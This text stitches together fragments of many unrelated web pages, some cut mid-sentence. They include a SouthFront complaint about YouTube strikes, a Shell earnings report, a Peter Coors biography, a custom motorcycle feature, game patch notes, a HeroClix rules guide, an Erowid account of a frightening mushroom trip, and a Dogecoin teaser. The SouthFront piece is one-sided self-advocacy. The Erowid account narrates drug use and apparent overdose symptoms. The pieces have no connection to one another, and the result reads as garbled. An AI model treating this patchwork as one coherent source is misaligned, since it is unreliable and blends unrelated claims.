However, this video was already reviewed by YouTube in 2016! On February 15, 2016, YouTube deleted the video and the project channel received a community guidelines strike. However, the strike was removed after SouthFront’s appeal. (You can find more about this HERE [strike added] and HERE [strike removed]) The video remained deleted and SouthFront did not attempt to re-upload it. The video “Foreign Policy Diary ‘War on Terror’ [remastered]” was somehow restored by YouTube and deleted again because it allegedly violated “YouTube Community Guidelines”.
Thus, our channel received a new community guidelines strike.
SouthFront immediately appealed the both “Community Guidelines” strikes.
All SouthFront content is produced with informational purpose in mind and is aimed to provide an independent coverage of the threats of international terrorism as well as the geo-political, military and security issues of our time.
The only thing that SouthFront violated is the mainstream media’s exclusive right to provide informational coverage of world events.
SouthFront faces systematic ‘false flagging’ on YouTube from the project’s ill-wishers that seeks to oppress the freedom of speech on the platform.
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DonateAmerica’s Most Wired Cities
Posted by Steve Spalding in Featured | View comments
Forbes recently put together its yearly list of America’s most wired cities. They took into account public Wireless access, broadband adoption, and the number of broadband providers available. Logical enough.
With so many options though, where should an up and coming web entrepreneur set up shop? After a weekend trip through the frozen tundra of Indiana, I decided to take a look at Forbes’ list and re-sort it based on the only thing that really matters — weather.
Consider this your Winter travel guide to the wired world.
America’s Most Wired
Orlando, Florida – Weekly High 82 | Weekly Low 52
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Atlanta Georgia – Weekly High 69 | Weekly Low 41
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San Francisco, California – Weekly High 68 | Weekly Low 45
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Charlotte, North Carolina – Weekly High 65 | Weekly Low 42
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Raleigh, North Carolina – Weekly High 65 | Weekly Low 32
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Seattle, Washington – Weekly High 54 | Weekly Low 35
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Baltimore Maryland – Weekly High 53 | Weekly Low 28
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New York, New York – Weekly High 49 | Weekly Low 25
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Chicago, Illinois – Weekly High 37 | Weekly Low 9
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(Image) (RSS)Anglo-Dutch energy giant Royal Dutch Shell said Thursday it made a net loss of 2.81 billion US dollars (2.15 billion euros) in the final quarter of 2008 as plunging oil prices slashed the value of inventories.
The loss compared with a net profit of 8.47 billion US dollars during the fourth quarter of 2007 when crude prices were far higher, Europe's largest oil company said in a statement.
"During the fourth quarter 2008 worldwide oil and gas related commodity marker prices declined significantly," Shell said.
"As a consequence, net working capital decreased by some 15 billion US dollars during the fourth quarter 2008, mainly due to the lower valued inventory in oil products" held by the group.
Shell's earnings were battered badly in the three months, with oil prices slumping to near five-year lows below 33 US dollars a barrel as the global economic slowdown curbed demand for energy.CLOSE U.S. Sen. Bob Menendez, at an Affordable Care Act open enrollment event in West New York, talked about the corruption case against him a day after a judge declared it a mistrial. He said he would cooperate with a Senate ethics investigation. Catherine Carrera/NorthJersey.com
Sen. Bob Menendez, center, stands with his daughter, Alicia, as his lawyer Abbe Lowell, right, speaks to reporters outside Martin Luther King Jr. Federal Courthouse after U.S. District Judge William H. Walls declared a mistrial in Menendez's federal corruption trial on Nov. 16 in Newark. (Photo: Julio Cortez/AP)
A new poll says that Democratic U.S. Sen. Bob Menendez, fresh off a federal corruption trial that ended in a hung jury, is less popular than ever before, but several factors are working in his favor should he decide to run for re-election next year.
Only 20 percent of New Jersey residents have a favorable view of Menendez, versus 33 percent with an unfavorable view and 41 percent with no opinion, and about half think he does not deserve a third full term in the Senate, according to a Rutgers |
already decreasing when they implemented the One Child Policy, so what I go back to is: if you give women the tools, and families the access to services to plan and have children when they want and how many they want, families make the right choices for themselves. This is probably the most important message to send to Chinese policy makers.
MN: By nature of your work, you travel throughout the entire world and speak to governments and see what the situation is. What is, in your experience, the most common errors governments make when dealing with population?
SE: Well, coming from Washington DC, it’s quite interesting, we see this problem here that is, the disconnect between the needs of the people and the decisions of policy makers. A disconnect that should not occur when population is concerned. Family planning is incredibly cost-effective, low-tech, and easy to take to many countries, to rural populations. And we see that governments are still not connected to the needs of the people. This is becoming a great challenge to social programs. It’s probably the biggest mistake.
MN: I’m sure that many people who are listening to us, when they hear us talk about family planning, of population, etc., the word that comes to their mind is abortion. What is the role of abortion in all of this conversation, in these policies?
SE: I think the important thing about abortion in a place like the United States where it’s such a politicized issue, is that you can support family planning and not abortion because family planning reduces the incidence of abortion. Abortion, safe and legal, should be offered as a method of reproductive health,
MN: I would like you to give us a concrete example of this, in your travels you’ve surely met with people who are an example of the convergence of all of these circumstances: of poverty, of climate change, etc. Do you have an example in mind that you would like to share with us?
SE: Well, I think a woman named Aregash in Ethiopia. I’m 38 years old; she’s 32. She has 6 children. Her husband works far from home, and the earth does not produce what it used to, as she says. She looks for work in any other place. She has a limited education and only various plots of land that she inherited from her father and mother. Meanwhile, in whatever time she has, she functions as a volunteer coordinator in a family planning clinic. What an extraordinary testimony, in the time she has for herself, she gives others the good news that she discovered when it was too late for her. She dedicates herself to other women and their families, to help them achieve the possibility of a brighter future.
MN: To finish, I want to ask you about your perceptions of the future. You have two daughters, in what way will their world in which they will live be fundamentally different than the world you have lived and are living in?
SE: It’s always such a good thing to be asked about your daughters. Regarding Paloma and Dahlia, I’m going to say a couple of things. The question you asked about trends, I hope that the answer for them is positive in the social sector, that governments be more responsive to health, to education, and the set of social services that people need to maximize their possibilities. In the environmental field, I hope people understand that the comprehensive solutions are needed, that we need to struggle together against climate change. It’s not just one conversation’s perspective, but from a people’s perspective. And of course because they are both young girls, I hope that the possibility of girls and women is more fully realized when they are adults, that it’s better understood what powerful agents of change women can be in the world.
MN: Suzanne Ehlers, President of Population Action International, thank you for being with us, for having joined us.Peter Hanson Coors (born September 20, 1946) is an American businessman and politician. He formerly served as the Chairman of the Molson Coors Brewing Company and Chairman of MillerCoors.[1]
Peter Coors was inducted into the Colorado Business Hall of Fame by Junior Achievement-Rocky Mountain and the Denver Metro Chamber of Commerce in 2012.
Early life [ edit ]
Coors was born in Golden, Colorado. He is the great-grandson of Adolph Coors, the brewing entrepreneur, and the son of Holly Coors (born Edith Holland Hanson)[2] and Joseph Coors. He graduated from Phillips Exeter Academy and then from Cornell University from which he received a degree in engineering. A member of the Psi Upsilon Fraternity, Coors was elected to the Sphinx Head Society during his final year at Cornell. He also received his MBA from the University of Denver in 1970.
Career [ edit ]
Coors has worked all of his life in various positions at his family's firm, the Coors Brewing Company.
In 1993, Coors became vice chairman and CEO of the company, and in 2002, he was named Chairman of Coors Brewing Company and Adolph Coors Company. In 2004, according to the Rocky Mountain News, Coors "made $332,402 in salary and a $296,917 bonus as chairman of Adolph Coors. He also received 125,000 stock options with a potential value of $13 million".[3] He stepped down temporarily from these positions in 2004 to run for the US Senate. After the 2005 merger with Molson, Coors became a Class A Director in the newly formed Molson Coors Brewing Company.[4]
On May 7, 2018, Coors wrote an open letter criticizing the hostility toward “Big Beer,” i.e., large brewing companies, at a Craft Brewers Conference sponsored by the Brewers Association. “The leadership of the Brewers Association does a great disservice to the entire beer value chain by attempting to pit one part of the industry against another,” he charged.[5]
In a May 14, 2018 opinion piece for the Wall Street Journal, Coors urged President Trump, whom he respects, to put an end to the Midwest Premium, a “mysterious fee” added to aluminum orders in the U.S. “It is time to fix this mess and end the premium once and for all,” he wrote. “A private solution would be best — one crafted by producers, buyers, market makers and customers like Molson Coors. Let us forge a new deal on aluminum, to the benefit of a hundred million fans of the most American of beverages. President Trump, are you with us?”[6]
Board memberships and other professional activities [ edit ]
In October 2006, he was appointed by the University of Colorado Hospital Board of Directors as chairman of the board for the new University of Colorado Hospital Foundation.
He has served on the boards of U.S. Bancorp, H. J. Heinz Company, HOBY (Hugh O'Brian Youth Leadership) Colorado, and Energy Corp. of America. He is also involved in civic organizations such as the Denver Area Council of the Boy Scouts of America and the National Western Stock Show Association. He is also part of the ownership group of the Colorado Rockies.[7] He is a member of the Augusta National Golf Club in Augusta, Georgia.[8] In 1997, Coors was granted an Honorary Doctorate from Johnson & Wales University, where he is a trustee. He sits on the Board of Trustees of the American Enterprise Institute.[9]
Politics [ edit ]
When U.S. Senator Ben Nighthorse Campbell declared in 2004 that he was retiring, Coors announced his candidacy. His opponent in the Republican primary election was another conservative, former congressman Bob Schaffer. During their primary, the two candidates engaged in an ideological disagreement, with Schaffer attacking Coors because his company had provided benefits to the partners of its gay and lesbian employees, in addition to promoting its beer in gay bars. Coors defended himself by saying that he was opposed to same-sex marriage, and supported a constitutional amendment to ban it, although he noted that he supported civil unions for gay couples. According to the Rocky Mountain News, Coors described his company's pro-LGBT practices as "good business, separate from politics."[10] He defeated Schaffer with 61% of the vote in the primary, with many analysts citing his high name recognition in the state as a primary factor.
Coors faced Democrat and Colorado Attorney General Ken Salazar in the November 2004 election, but was defeated by a margin of 51% to 47%.[11]
According to the non-partisan Center for Responsive Politics (CPS), Coors gave his own campaign $1,213,657 and received individual donations of $60,550 from other Coors family members. He was mentioned as a possible contender in the 2008 Senate election.[3]
Election results [ edit ]
Colorado U.S. Senate Race 2004 Party Candidate Votes % ±
Coors has been described as “a major donor in Colorado politics.” In 2016, Coors donated $5,000 to Leadership Matters for America, a super PAC supporting the presidential candidacy of Donald Trump, and $5,000 to Right to Rise, which supported Jeb Bush.[12]
Personal life [ edit ]
Coors is married to Marilyn Coors (born Grosso) and has six children.
On May 28, 2006, Coors was arrested by the Colorado State Patrol on suspicion of driving under the influence and registering a blood alcohol level higher than the legal limit (0.088).[13] Coors commented on the incident, saying, "I should have planned ahead for a ride. For years, I've advocated the responsible use of our company's products. That's still my message, and our company's message. I am sorry that I didn't follow it myself."
On August 25, 2006, Coors pleaded guilty to a lesser charge of driving while impaired. A judge sentenced Coors to 24 hours of community service and a suspended fine and ordered him to undergo alcohol education courses.
See also [ edit ]Walt Siegl, I’d wager, is the world’s best custom Ducati builder. But it turns out that the machines from Bologna are not his only love.
“When I was a boy in Austria, long before I’d heard of Ducati, I considered the King of Persia a man of good taste: he had nine MV Agustas,” says Walt. “MV was winning everything at that time—Italian jewels that beat the British and the Americans. There were posters of Giacomo Agostini everywhere.”
The romance of MV Agusta has endured over the decades, and Walt has finally built a machine based around the superb MV triple—specifically, the Brutale 800.
It’s called ‘Bol d’Or’, and it’s got a distinct endurance racer vibe. “I have a soft spot for the raw brutishness of the endurance bikes of the early ’80s,” says Walt. “The big tanks that hold 20 liters or more, the large fairings to tuck under, the offset headlights for night riding, and so on.”
“But my heart is still with the small Italian bikes that have curves and a sexy waistline. So I tried to combine my attraction to all these elements in one bike.”
He’s succeeded. If the Varese factory decided to go down the same retro route as Triumph and BMW with the Bonneville and R nineT, they’d probably come up with something very close to the Siegl ‘Bol d’Or.’
Walt describes his client as “A very fast guy who has a soft spot for classic race bikes.” But unlike the Leggero Ducatis, this MV does not have a hand-built chassis.
“I wanted to stick with the factory chassis,” says Walt. ” I didn’t want to undo something that’s so good. The challenge was to design completely new bodywork around the existing frame and other very specific design elements—like the cast aluminum engine plates and swing arm.”
Walt used foam board to create the principal shapes, shaving a foam core and building it up with automotive clay. He then created a rudimentary subframe and fairing stay, positioning the new body parts and ram air system.
“A ram air system gets the best out of the highly tuned 3-cylinder engine. I increased the outer diameter of the air intakes and put the air inlet placement onto the front of the fairing.”
To get the most out of these mods—and improve torque and horsepower—the ECU was flashed with a fully tunable performance program.
John Harvey of FuelCel then took the molds and turned them into Kevlar composite. (“Kevlar has high structural integrity and resistance to impact, compared to the brittleness of a carbon fiber weave.”)
The weight savings are considerable. The new tank holds a hefty 20 liters of gas, but weighs just 3.5 lb. And that includes the stock fuel pump and aluminum fuel cap.
“In my experience, saving weight wherever you can, rather than tearing into an engine to get more horsepower, will always result in a better performing motorcycle,” says Walt.
“Buying a set of magnesium wheels, for example, will make your bike lighter, and turn easier. And it’s cheaper than putting money into engine performance.”
The entire bodywork of the Bol d’Or weighs just 8.5 lb. That includes the front fender, the upper fairing, two lowers, and the tail section.
Even more weight reductions come from the new aluminum subframe, the lightweight SC Project exhaust system, and Walt’s own adjustable rearsets—machined from 7075-T651 aerospace grade aluminum.
At a track day, Walt was able to compare the weights of a factory F3 and the Bol d’Or on the scales. The stock F3 weighed in at 421 lb., and the Bol d’Or came in at 340 lb.—with a gallon of fuel, and oil in the crankcase. (That’s 155 kilos in Euro parlance.)
Not surprisingly, the bike is seriously fast. “It’s a ferocious beast that screams like a F1 car, and tears your arms out of the sockets when you grab big handfuls. It sounds so good it gives you chills.”
Tempted? Though the Bol d’Or is based on the Brutale, future versions can be built using any current MV triple. If you want a truly personalized machine but don’t want to sacrifice performance, you know who to call.
Walt Siegl | Facebook | Instagram | Images by Douglas MacRae | InstagramTORONTO, Jan 31 (Reuters) - Tom Carter found himself homeless, jobless, with little money and 6,000 miles (9,656 km) from home after answering a job posting on Craigslist that turned out to be a scam.
But rather than return to San Francisco, Carter found a teaching job along China’s Yellow River Delta, which is a world away from Beijing and Shanghai.
Two years later, in 2006, he saved enough to embark on a 35,000-mile (56,325-km) two-year journey to every corner of China that inspired his 600-plus page photography book, “China: Portrait of a People.”
“I was literally just a dusty backpacker who just wanted to travel and see the country. My eyes were open to everything,” the 39-year-old said.
Carter, who is married to a Chinese woman and a new father, spoke with Reuters in a telephone interview about his journey and reconciling the old with the new.
Q: How many years have you been in China?
A: “I arrived in 2004. I stayed for four straight years, so I didn’t even go home for holidays or anything. In 2008 I decided to move to Japan for a year, just to give that a try. I was living up in Beijing at the time and it was just getting weird with the Olympics... I saved up to go to India the following year, so all of India in 2009... We came back to China and realized this was going to be home.”
Q: A lot of your photos show striking contrasts between old and new, rich and poor. How do you reconcile the disparities?
A: “It’s like watching a child mature and grow, but on fast forward... I think progress and change is inevitable. You can’t lament it. But I think the way the Chinese government has gone about it has been a little bit shameful. (It is) like they’re purposefully trying to erase swaths of history and culture because they want to catch up with America and Japan.
“What they do now is say, ‘We understand some people want to see that traditional villages still exist, so we’ll build a new old village.’ They turn it into a tourist zone and it’s all fake, it just looks old and they think that’s good enough. It’s not.”
Q: How do you think the Chinese are adapting to the changes?
A: “Everything is off-balance and that doesn’t really make a lot of sense to anyone, especially to the villagers who are still living in poverty out on the other side of the country. Meanwhile, people are driving Ferraris down the street in Shanghai. These aren’t rich people. These are middle class people who can afford a Ferrari... You can’t have that much economic disparity and regional disparity without consequences.”
Q: From your travels, how do India and China compare?
A: “I think that India is about a century behind China still as far as infrastructure and modernization. I think I can say that with relative authority having traveled on the ground all over - north, south, east and west. It’s a really, really magnificent country. The culture and the religions are just amazing to witness and to see. I love it... But politically and economically, I can honestly say that I do not believe that India is any kind of competition for China.”
Q: Why the disparity?
A: “I believe it’s a combination of rampant corruption, and just a kind of defeatist attitude. I’m not talking about the average Indian person. I’m talking about the government itself... People say Chinese leaders are shameless about their corruption, but I think India’s on a whole new scale.”
Q: How did you get so immersed in photography?
A: “The camera was really a gateway into introducing me to people, ways of life I otherwise might not have had an access to... There’s a realism that you feel in the book that you don’t get with other books about China, that are really glossy, and have been Photoshopped and are really pretty to look at.”
Q: What else are you working on now? What are your goals?
A: “My head is just exploding with ideas... I’ve got about five different book projects on the burner as we speak - in addition to teaching full time, which I do in Shanghai, and in addition to starting a family.”
Q: Why have you only returned to the United States once?
A: “I don’t feel there’s anything in America for me right now. I see myself as a citizen of the world and I’d rather just keep traveling and seeing as much of the world as possible. And I think actually more people need to do that. I think travel and immersing yourself in new cultures - that’s the key - that’s the secret to world peace. War’s not actually working.” (Reporting by Solarina Ho; editing by Patricia Reaney and Cynthia Osterman)Eating Dog Hair
Mushrooms
Citation: Anonymous. "Eating Dog Hair: An Experience with Mushrooms (exp50111)". Erowid.org. Jun 19, 2006. erowid.org/exp/50111
DOSE:
oral Mushrooms (dried)
BODY WEIGHT: 150 lb
I'm not sure why Im gonna type this, maybe its because I feel like I wouldn't be able to tell anyone. Around 9:00 am me and my mom pick up my girlfriend and bring her over to my house in the woods. I had done mushrooms several times before and this was her first time. I had not done mushrooms for almost a year so it had been a while. We started eating the mushrooms around 9:30 I started with an empty stomach. Before I even finished the bag I was already beginning to feel uplifted.The living room before me began to look like a long hallway. About 5 minutes after I ate them my mom took everyone out of town(there was about 3 people there including my brother and my mom was going to work.) so it was me and my girlfriend home alone. I thought perfect were gonna have sex soon. She gets up and goes into my bedroom and I went to the bathroom to piss. Then I went into my bedroom. The lights were off so it was kind of dark. I began to see patterns like dotted lines everywhere, everything was rounded (there were no corners to anything).I look at my girlfriend and shes lying on my bed with no pants on. I said why arent you wearing pants' she replied 'cuz im in a bed I dont feel like wearing pants. I got into bed with her. And took off my pants and we just lied there for a while. Every minute the trip was getting more intense. I could feel my brain pulsating. I took the shirt off my girlfriend. I looked at her chest and she seemed fake. The skin looking and feeling like rubber. I taped my fingers on her. My fingers felt like stubby erasers. I looked at my girlfriend and closed my eyes. I could still see her perfectly with my eyes closed. But when they were closed there were more hallucinations, more patterns and I had begun to see faces everywhere. I told her that she was the most beautiful girl in the world. And she would just smile. I put my head under a blanket and saw her chest. It was amazing there was a bright beam of white light coming from her. It was really concentrated to a dot. I looked at her and told her about it. When I looked at her face the skin began to change colors from purple to orange to yellow. That was the good part of my trip.It had only been 15 minutes. all of the sudden I started to cry. I never cry. I look at her and told her and she became worried. I tried to kiss her and then I got dog hair on my tongue. I tried to pick it off but it only became worse. It infested my whole mouth and I couldnt get it out. My stomach became upset. I went into the kitchen and puked all over the floor. My fingers were going numb. I tried to drink some water still crying, my mouth went numb, I couldnt even tell I was drinking the water. I became dizzy, my head pulsating hard I heard music playing in the background but there was no music I ran into the bathroom naked.She ran with me we hugged in the bathroom for a while and I told her I loved her. Still with the feeling of dog hair in my mouth I started to gag. I literally stuck my head into the toilet and almost stuck my hand down my throat. I was breathing really hard and almost felt like I was gonna pass out. I shouted at my gird friend' This is horrible!!! We need help! call someone. I ran into the living room it was a miracle I found the phone. I managed to dial my moms number. When I looked at the screen there was almost 13 numbers that I had dialed even though I had only dialed 7. The phone was wiggling in my hand. the buttons werent numbers. they were odd syllables and faces. The whole house had faces... my mom answered the phone. I was still crying'hello''mom help...''what happend?'' I puked..I think im gonna pass out... come home''I coming right now'I was still naked and crying. Starting to tremble. My body was going cold and I was sweating. I wrapped myself in blankets but I was still cold. The world around me was shaking. Everywhere I looked there was faces. I had begun to talk to my sweater...I lied on my bed and just kept telling my girlfriend that I loved her.'I dont want to die...' my mom finally came home. She wanted me to clean up. Clean up! I couldnt even fucking stand. I told her to take us to the hospital. She refused to. She put on some music to try to calm us down. The music was horrible and just raising tension. I was still cold and shaking vigorously. I was struggling to breath. Along with my fingers and my mouth. my arms and feet went numb.I sat down on the couch the. roof was laughing at me. I prayed. I started to have convulsions. I had walked around in my own throw up so my feet were wet. My face was covered in my own mucus. Snot drool and tears. I started to breath really slow. Every breath took all my energy. I closed my eyes. I just wanted to wake up out of this. My head thumping so hard it felt like someone was repeatedly shooting me with a shotgun. I ran to a desk and found a marker and some newspaper. I was sure I was gonna die. This is what I wrote.'tell my girlfriend.. if I live that I love her''tell my brother I love him to. I love you mom'I am a horrible person. I was screaming at my mom.' take us out of here take us to the hospital!!'She said she was gonna get rid of us and drop us off at my dads. Every 5 minutes seemed like an hour. My girlfriend just kept trying to get a hold of her parents who were answering their phones. she left a couple of messages...My mom drove us to my dads house. When I got there my bother was there watching tv. I told him we need help. He said to leave and go to the park because my dad was gonna be home soon. Me and my girlfriend ran into my room. I was convinced this was the last time I was gonnna see her. I drew a smiley face on her stomach and gave her a hicky right next to it. She was crying. I pulled out a note book and wrote I love you on it. I tore off the paper and handed it to her. I told her to take it home with her. Then I pulled out the guitar and started to play it. I was just appreciating everything in life. I looked at her. and we realized how much we loved each other. And decided that were getting married and gonna spend the rest of our lives together.My brother came and told us to get out so we walked down the street to the park. My mom called us there and said she was gonna take us to the beach. So we were gonna wait there. It was raining. We didnt know what to do. We were just standing in the parking lot staring at each other. we looked toward the street and a person driving slowed down and stopped in the middle of the street and stared at us for a couple of minutes. We decided being at the park wasnt a good idea so we were gonnna head back to my house. We started to walk and then my girlfriend stopped and we turned around.We walked in circles for a while not knowing what we were doing. We finally made our way back to my house. We sat for a while and my mom showed up. She drove us to a restaurant and ordered dinner for her self. We couldnt eat. me and my girlfriend just got drinks and couldnt even drink them. I was begging my mom to just let us sit in the car but she wouldnt let us. so I said fine. were gonna sit in front of the restaurant walk out and sit on the bench. My girlfriend came out a little bit later. We sat there and she cried. her mom finally called her back and was gonna take her home. My mom finally finished her dinner and we went to the car. She took pictures of us and made a scene in front of the restaurant. People were standing on the other side of the parking lot staring at us. my girlfriend mom showed up and took her away. Then my mom took me back to my house and I took a shower to help sober up. I heard some weird noises in the shower and the floor of it had a face and it was laughing at me. then there was no more hot water left and I just layed on the couch till I sobered upapparently we both overdosed. We came very close to dieing. I lost a lot of weight that day. But it was an experience that bonded the both of us. I decided to become a vegetarian. I realized how much I loved being alive and felt that eating meat was like taking the lives of someone else. I feel like I now know that there is an after life.China's state-owned commercial aerospace manufacturer and provider has planned a three-step strategy to ignite the country’s space tourism industry, Global Times reported.
Han Qingping, president of ChinaRocket Ltd. Co., disclosed the plan at an aerospace forum in Zhuhai, Guangdong province on Oct. 31. According to Han, from 2020 to 2024, the company will offer a smaller 10-ton class of spaceplane geared toward tourism, which will be capable of transporting three to five people to an altitude between 60 and 80 kilometers in the air, offering passengers a brief taste of weightlessness.
From 2025 to 2029, the company pledges to use a larger 100-ton spaceplane capable of flying 20 people to an altitude between 120 and 140 kilometers. This goal involves significantly more passengers than the current plans of other commercial spaceflight firms.
From 2030 to 2035, China Rocket plans to provide a longer space travel experience using a 100-ton spaceplane, which will fly 10 to 20 people to an altitude of 80 to 90 kilometers, supporting both intercontinental flights and commercial space flights.
Wang Xiaojun, general director of the Long March-7 carrier rocket project from the China Academy of Launch Vehicle Technology, said China still needs to break several technological barriers to ensure affordability and safety. Otherwise China’s space travel services cannot be competitive in the global arena.
The market value of commercial space travel in China is projected to reach 30 billion RMB ($4.6 billion) annually by 2020, Xinhua reported, citing Hu Shengyun, a senior rocket engineer at China Aerospace Science and Industry Corp.This patch mainly focuses on balance. As you can see, the effectiveness of area-of-effect spells has been reduced quite a bit. The motivation for these changes was to prevent players from feeling forced to use these spells, and instead show some attention to single-target spells as well. I believe area-of-effect spells are still quite powerful and definitely have their place in the game, but are no longer mandatory.
In addition, spells that always manipulate the Action Queue in the player's favor have been reworked entirely. It was way too easy to build a team of creatures that cast spells like Haste and Rabid Dementia indefinitely, which prevents enemies from ever being able to take a turn.
A few traits were rebalanced as well. These traits were problematic because they allowed players to largely ignore stats - and in some cases, any form of strategy when composing their teams.
Lastly, new achievements have been added for Nether Realms. I apologize for not having these ready in time for the last patch, but this was honestly an oversight; I did not originally plan to add any more achievements. These cannot be awarded retroactively.
The next major patch will include cross-platform cloud saving, improved enemy AI, and general quality-of-life improvements. I'm also close to having the Mac and Linux versions of the game ready as we're very close to leaving Early Access at this point.
VERSION 0.12.0:
- Rebalanced a few spells and traits. You can find the changes at the bottom of these patch notes.
- Added 38 new achievements to the game that are related to changes made to Nether Realms in patch 0.11.0.
- Added traits that do not belong to any creatures to the Compendium of Traits (aka the traits exclusive to Nether Realms).
- Stat increases and decreases from spells and traits in battle are now slightly mitigated by diminishing returns.
- Decreased the damage dealt by area-of-effect spells by 23%.
- Decreased the healing done by area-of-effect spells by 25%.
- Decreased the stat gain/loss by area-of-effect spells by 20%.
- Barrier display text is now correctly shortened for large numbers.
- The 'Self-Awareness' trait now only works if it's a creature's innate trait, or a trait on their artifact. This is to prevent players from accidentally transforming their creatures.
- Fixed a bug with the 'Refraction' trait that allowed it to work at incorrect times.
- Fixed a bug that allowed charms to be used in boss rooms and special nether realm rooms.
- Fixed a bug that allowed sigils to be used in special nether rooms.
- Fixed a display bug related to the 'Self-Awareness' trait.
- Fixed a crash that could occur that is related to the new traveling merchants.
- Fixed a crash that would occur when purchasing a Key of the Arcane.
- Fixed a few bugs that prevented players from buying certain items at the Nether Goblet.
- Fixed a bug that caused Riddle Dwarves in special Nether Realm rooms to persist even after you answered the riddle.
- Fixed a bug with the 'Replication' perk that prevented it from applying debuffs to the correct creatures.
TRAIT CHANGES:
- Admire the Gods: When this creature takes damage, and the damage exceeds 25% (down from 30%) of its Maximum Health, reduce the damage to 25% (down from 30%) of its Maximum Health. The amount of damage prevented cannot exceed 100% of this creature's Maximum Health. (previously there was no limit to the amount of damage prevented)
- Celestial Fortitude: Your creatures cannot take damage that exceeds 45% of their Maximum Health. The amount of damage prevented cannot exceed 100% of the creature's Maximum Health. (previously there was no limit to the amount of damage prevented)
- Diamond Attunement: All creatures lose access to their innate traits while this creature is alive. (reworked)
- Eye of the Storm: While this creature is above 90% Health, your creatures' Health cannot fall below 5%. This effect is ignored if the incoming damage would exceed 100% of the target creature's Maximum Health. (previously there was no limit to the amount of damage prevented)
- Flesh Offering: When this creature casts a spell, it sacrifices 25% Current Health, adds this amount of health to its damage (previously did not add any damage), and casts the spell 1 additional time.
- Final Act of Judgment: At the start of this creature's turn, deal damage to all enemies equal to 0.5% of their Current Health for each point of Mana this creature is missing. The damage cannot exceed 25% of each creatures' Current Health. (reworked; the old version was the exact same trait as Sadism - oops!)
- Patriarchy: This creature takes all damage from attacks and spells in place of your Imlings. (no longer reduces incoming damage)
- Spiral Ward: While this creature is below 50% Health, it does not take damage from spells. (previously worked at any amount of health)
SPELL CHANGES:
- Haste (reworked): Target gains a massive amount of Speed.
- Ice Bolt (reworked): Target takes a small amount of damage and is afflicted with Frozen.
- Rabid Dementia (reworked): Target gains Berserk and attacks a random enemy.
- Shadow Infusion (reworked): Target gains a large amount of Attack and Speed.Probability Control is the one power I will almost never build a team without. I just don’t trust my dice rolls to not come up snake eyes at a critical moment, and I like having some assurance of my opening hit landing.
In this article, we’re gonna take a look at some of the nuances of Probability Control and some things for newer players to remember when planning to use it.
Want to reroll those bad dice like a pro? Keep reading!
No matter how well you build teams or set up your opening assault, you will eventually find yourself at the mercy of the dice. Probability Control is the best means at your disposal of thwarting the malevolent will of the dice.
Let’s start with the basics: what is Probability Control, and how does it work?
Unmaking Reality: Breaking down Probability Control
Probability Control: Once during your turn, this character allows you to reroll one of your rolls, ignoring the original roll. A character using this power must be within range (minimum range 6) and line of fire to the character for which the original roll was made. Using the same rules, once per round during an opponent’s turn, this character allows you to force that opponent to reroll one of their rolls, ignoring the original roll.
There’s a lot there. Thankfully, the basics are very simple. Once on your turn, and once on your opponent’s turn, you can have a roll be ignored and rerolled. Do take note of the limitations!
The character using Prob must have range (which in this case is set at a minimum of 6 for characters with lower range than 6) and line of fire to the character making the roll. More on this in a moment.
Prob can only be used for the roll of the “active” player. So you can reroll your own attack rolls and those of your opponent, but not things like Shape Change, Super Senses, or Impervious that occur when not the “active” player.
Most of the time, Probability Control just happens. The opponent is attacking your DP036 Bullseye? BAM. Probability Control. You go to attack them back? BAM. Probability Control. There’s no real work that goes into it. That’s not always the case, though. There are some occasions where skillful play (or, if you’re like me, lack thereof) can impact your ability to take advantage of Prob.
Altering Reality: Getting the Most out of Probability Control
The first limitation of Probability Control clues us in to a couple of things we always need to be aware of, especially if we’re using a support piece just because they have Prob. If they’re out of range or can’t see the target, they are sadly a waste of points!
Always, always, always consider the position of your figure that has Probability Control.
Generally, you can see your own friendly figures, and won’t have to worry too much. I have seen it happen with large teams, however, where you will inadvertently block your own figure’s line of fire and not be able to reroll an attack. Trust me when I tell you, that sucks. Don’t be that guy (me)!
On your opponent’s turn, remember: you need line of fire to their attacking figure, not your defending one! I have seen tons of newer players, myself included, make this simple mistake. Just remember that you’re rerolling for the figure making the roll, which will be the attacker. This can be tricky, as a |
thickens the width of nearly any barbell, dumbbell, cable machine, kettle bell or pull up bar.
A thicker grip is the secret to bigger arms and a more impactful workout.
When you use a thicker grip you activate more muscles within your arms and your hands. This in turn strengthens these areas. When you eliminate those weak links your opening up the possibilities for much greater muscle activation within your upper arms, shoulders, chest and back.
How to Use:
The Ultimate Thick Grip is an easy to use, 2 step process to increase your workout. All you have to do is 1-Spread open the grips, 2-Attach to the bar. UTG grips quickly convert any barbell, weight bars, pulldown ropes, kettle bells and many others to a nearly 2’’ thicker grip.As a web designer, I’d say that more than 80% of all my recent work has been WordPress-related… from creating original WordPress themes, to heavily customizing existing ones. Which is why I’m so pleased every time I come across a bare-bones WordPress theme, something plain I can “build on”. I’m very grateful to the designers who’ve created these- here are my current five (free!) favorites:
Whiteboard
If you’re the type of designer who likes to code up a regular HTML site before chopping everything up into WordPress templates, Whiteboard will make your life much, much easier. It’s a WordPress framework at its most basic, with necessary templates all set up and ready for you to paste your design bits into. It also includes some goodies like “Socialization Links”, with links to Technorati, Digg, StumbleUpon, etc. Very simple, and a joy to have.
WP Framework
Looking for something a bit more powerful? I daresay that WP Framework belongs in every WordPress theme designer’s toolbox- especially those who want to release their own themes to the public. The Theme Options API, for example, is a set of functions that makes it easy for you to create your very own “theme options” page (and don’t we all love options?) Great accompanying documentation, too.
Hybrid Skeleton
There are quite a few WordPress theme frameworks with accompanying child themes out there, and Hybrid is a particularly good one. The authors aren’t joking when they describe Hybrid as “user-friendly”, and their child themes are beautifully designed and easy to tweak. What I’ve linked to here, though, is their Skeleton child theme, which allows you to build your own child theme on Hybrid.
Thematic
Just like Hybrid, Thematic is a framework that has some gorgeous child themes… but the truth is, Thematic is glorious on its own as a clean, minimalistic theme. Of course, it really shines when in the hands of talented designers. The lovely Gallery theme, for example, which is perhaps one of the most beautiful themes for a WP-powered photo gallery or portfolio, is a Thematic child theme.
Sandbox
This list wouldn’t be complete without mentioning Sandbox, which was perhaps the first “bare-bones” WordPress theme I ever used, and was crucial to me in the early days of learning how to create WordPress themes, when just looking through the code of Kubrick made my head spin.
Do you use theme frameworks? Are there any bare-bones WordPress themes you recommend?Dogecoin has been gradually trading lower since the end of June but it made a sudden spike higher recently. Could this be a sign of a trend reversal or is the longer-term selloff set to carry on?
